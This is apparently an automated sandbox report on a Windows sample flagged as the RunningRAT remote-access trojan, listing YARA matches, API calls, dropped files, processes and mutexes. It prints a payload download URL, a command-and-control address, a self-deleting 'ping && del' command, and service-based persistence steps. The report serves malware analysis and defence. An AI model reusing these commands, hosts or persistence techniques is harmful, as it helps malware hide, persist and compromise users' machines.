Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar-
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar=1
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarC
Source: Amcache.hve.1.dr	String found in binary or memory: http://upx.sf.net
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.comHolger
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.comBrendon
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.comDeepak
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.lua.org
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.comJosiah
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org/scite.rng
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.comMathias
Source: XekSuT.exe, 00000001.00000002.1891528876.00000000015AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/Morten

Source: SciTE.exe.1.dr

Binary or memory string: _winapi_getrawinputdata _winapi_getrawinputdeviceinfo _winapi_getregiondata _winapi_getregisteredrawinputdevices \

memstr_8fc02c2f-d

E-Banking Fraud

Checks if browser processes are running

Source: C:\Windows\SysWOW64\svchost.exe

Code function: strlen,memset,lstrlenA,strstr,lstrcpyA,CreateProcessA, Applications\iexplore.exe\shell\open\command

3_2_10002BC3

System Summary

Malicious sample detected (through community Yara rule)

Source: gE4NVCZDRk.exe, type: SAMPLE	Matched rule: Detects Running RAT from Gold Dragon report Author: Florian Roth
Source: gE4NVCZDRk.exe, type: SAMPLE	Matched rule: Detects RunningRAT Author: ditekSHen
Source: 3.2.svchost.exe.10000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RunningRAT Author: ditekSHen
Source: 0.2.gE4NVCZDRk.exe.4032a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RunningRAT Author: ditekSHen
Source: 0.0.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Running RAT from Gold Dragon report Author: Florian Roth
Source: 0.0.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RunningRAT Author: ditekSHen
Source: 0.2.gE4NVCZDRk.exe.4032a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects RunningRAT Author: ditekSHen
Source: 0.2.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RunningRAT Author: ditekSHen
Source: 7.2.SySyeu.exe.10000000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RunningRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\6011859.dll, type: DROPPED	Matched rule: Detects RunningRAT Author: ditekSHen

PE file contains section with special chars

Source: gE4NVCZDRk.exe	Static PE information: section name: /\|wu>
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR

PE file has a writeable .text section

Source: XekSuT.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E15CF1 NtQueryInformationToken,NtQueryInformationToken,RtlNtStatusToDosError,	7_2_00E15CF1
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E140B1 NtQuerySystemInformation,	7_2_00E140B1
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E15D6A NtOpenProcessToken,RtlNtStatusToDosError,NtClose,QueryActCtxW,NtOpenProcessToken,NtSetInformationToken,NtClose,	7_2_00E15D6A
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E14136 HeapSetInformation,NtSetInformationProcess,AttachConsole,LocalAlloc,LoadLibraryExW,GetProcAddress,SetErrorMode,DestroyWindow,FreeLibrary,LocalFree,DeactivateActCtx,ReleaseActCtx,FreeLibrary,LocalFree,FreeConsole,ExitProcess,	7_2_00E14136
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E15911 PathIsRelativeW,RtlSetSearchPathMode,SearchPathW,GetFileAttributesW,CreateActCtxW,CreateActCtxWWorker,CreateActCtxWWorker,CreateActCtxWWorker,GetModuleHandleW,CreateActCtxWWorker,ActivateActCtx,SetWindowLongW,GetWindowLongW,GetWindow,memset,GetClassNameW,CompareStringW,GetWindow,GetWindow,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,	7_2_00E15911

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_10001F48 strlen,OpenSCManagerA,OpenServiceA,DeleteService,CloseServiceHandle,CloseServiceHandle,

3_2_10001F48

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_10001FBD LoadLibraryA,GetProcAddress,memset,memset,GetCurrentProcess,OpenProcessToken,DuplicateTokenEx,WTSGetActiveConsoleSessionId,SetTokenInformation,CreateProcessAsUserA,CloseHandle,CloseHandle,FreeLibrary,

3_2_10001FBD

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_100025A2 ExitWindowsEx,

3_2_100025A2

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\SysWOW64\SySyeu.exe	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\system32\wbem\Performance\WmiApRpl_new.h	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\inf\WmiApRpl\	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\inf\WmiApRpl\WmiApRpl.h	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\inf\WmiApRpl\WmiApRpl.ini	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\inf\WmiApRpl\0009\	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	File created: C:\Windows\system32\PerfStringBackup.TMP	Jump to behavior

Source: C:\Windows\System32\wbem\WMIADAP.exe

File deleted: C:\Windows\System32\wbem\Performance\WmiApRpl.h

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Code function: 1_2_003C6076		1_2_003C6076
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Code function: 1_2_003C6D00		1_2_003C6D00

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\6011859.dll CC4AB82995B0C0C827E99870948EF6A1371D4D1ED6D167A087C0D5C123D0F15E
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\XekSuT.exe 4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6180 -ip 6180

Source: MyProg.exe.1.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: gE4NVCZDRk.exe, 00000000.00000002.1705822362.000000000040B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename vs gE4NVCZDRk.exe
Source: gE4NVCZDRk.exe	Binary or memory string: OriginalFilename vs gE4NVCZDRk.exe

Source: gE4NVCZDRk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: gE4NVCZDRk.exe, type: SAMPLE	Matched rule: GoldDragon_RunningRAT date = 2018-02-03, hash3 = 7aa99ebc49a130f07304ed25655862a04cc20cb59d129e1416a7dfa04f7d3e51, hash2 = 2981e1a1b3c395cee6e4b9e6c46d062cf6130546b04401d724750e4c8382c863, hash1 = 0852f2c5741997d8899a34bb95c349d7a9fb7277cd0910656c3ce37a6f11cb88, author = Florian Roth, description = Detects Running RAT from Gold Dragon report, reference = https://goo.gl/rW1yvZ, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: gE4NVCZDRk.exe, type: SAMPLE	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT
Source: 3.2.svchost.exe.10000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT
Source: 0.2.gE4NVCZDRk.exe.4032a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT
Source: 0.0.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: GoldDragon_RunningRAT date = 2018-02-03, hash3 = 7aa99ebc49a130f07304ed25655862a04cc20cb59d129e1416a7dfa04f7d3e51, hash2 = 2981e1a1b3c395cee6e4b9e6c46d062cf6130546b04401d724750e4c8382c863, hash1 = 0852f2c5741997d8899a34bb95c349d7a9fb7277cd0910656c3ce37a6f11cb88, author = Florian Roth, description = Detects Running RAT from Gold Dragon report, reference = https://goo.gl/rW1yvZ, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT
Source: 0.2.gE4NVCZDRk.exe.4032a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT
Source: 0.2.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT
Source: 7.2.SySyeu.exe.10000000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT
Source: C:\Users\user\AppData\Local\Temp\6011859.dll, type: DROPPED	Matched rule: MALWARE_Win_RunningRAT author = ditekSHen, description = Detects RunningRAT, clamav_sig = MALWARE.Win.Trojan.RunningRAT

Source: XekSuT.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: XekSuT.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: XekSuT.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: classification engine

Classification label: mal100.spre.bank.troj.evad.winEXE@24/33@1/3

Source: C:\Windows\SysWOW64\SySyeu.exe

Code function: 7_2_00E13C66 LoadLibraryExW,GetLastError,FormatMessageW,RtlImageNtHeader,SetProcessMitigationPolicy,

7_2_00E13C66

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

1_2_003C119F

Source: C:\Windows\SysWOW64\svchost.exe

Code function: OpenSCManagerA,_local_unwind2,CreateServiceA,GetLastError,OpenServiceA,StartServiceA,ChangeServiceConfig2A,ChangeServiceConfig2A,wsprintfA,strlen,StartServiceA,

3_2_10001B5B

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Code function: 0_2_00401794 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,Process32First,Process32Next,lstrcmpiA,CloseHandle,FreeLibrary,

0_2_00401794

Source: C:\Windows\SysWOW64\SySyeu.exe

Code function: 7_2_00E1205A CoCreateInstance,

7_2_00E1205A

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_10001A43 OpenSCManagerA,OpenServiceA,StartServiceA,GetLastError,CloseServiceHandle,QueryServiceStatus,Sleep,CloseServiceHandle,CloseServiceHandle,

3_2_10001A43

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k1[1].rar

Jump to behavior

Source: C:\Windows\SysWOW64\SySyeu.exe	Mutant created: \Sessions\1\BaseNamedObjects\119.91.152.151:8321:SySyeu
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6112:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6180
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex_Flag
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\ADAP_WMI_ENTRY
Source: C:\Windows\System32\wbem\WMIADAP.exe	Mutant created: \BaseNamedObjects\Global\RefreshRA_Mutex_Lib

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

File created: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Jump to behavior

Source: C:\Windows\SysWOW64\SySyeu.exe	Command line argument: WLDP.DLL		7_2_00E14136
Source: C:\Windows\SysWOW64\SySyeu.exe	Command line argument: localserver		7_2_00E14136

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: gE4NVCZDRk.exe

ReversingLabs: Detection: 97%

Source: unknown	Process created: C:\Users\user\Desktop\gE4NVCZDRk.exe "C:\Users\user\Desktop\gE4NVCZDRk.exe"
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process created: C:\Users\user\AppData\Local\Temp\XekSuT.exe C:\Users\user\AppData\Local\Temp\XekSuT.exe
Source: unknown	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe -k "SySyeu"
Source: unknown	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe -k "SySyeu"
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 1 && del /f/q "C:\Users\user\Desktop\gE4NVCZDRk.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 1
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\SySyeu.exe C:\Windows\system32\SySyeu.exe "c:\users\user\appdata\local\temp\6011859.dll",MainThread
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6180 -ip 6180
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 1456
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: C:\Windows\System32\wbem\WMIADAP.exe wmiadap.exe /F /T /R
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process created: C:\Users\user\AppData\Local\Temp\XekSuT.exe C:\Users\user\AppData\Local\Temp\XekSuT.exe	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 1 && del /f/q "C:\Users\user\Desktop\gE4NVCZDRk.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\SySyeu.exe C:\Windows\system32\SySyeu.exe "c:\users\user\appdata\local\temp\6011859.dll",MainThread	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6180 -ip 6180	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 1456	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
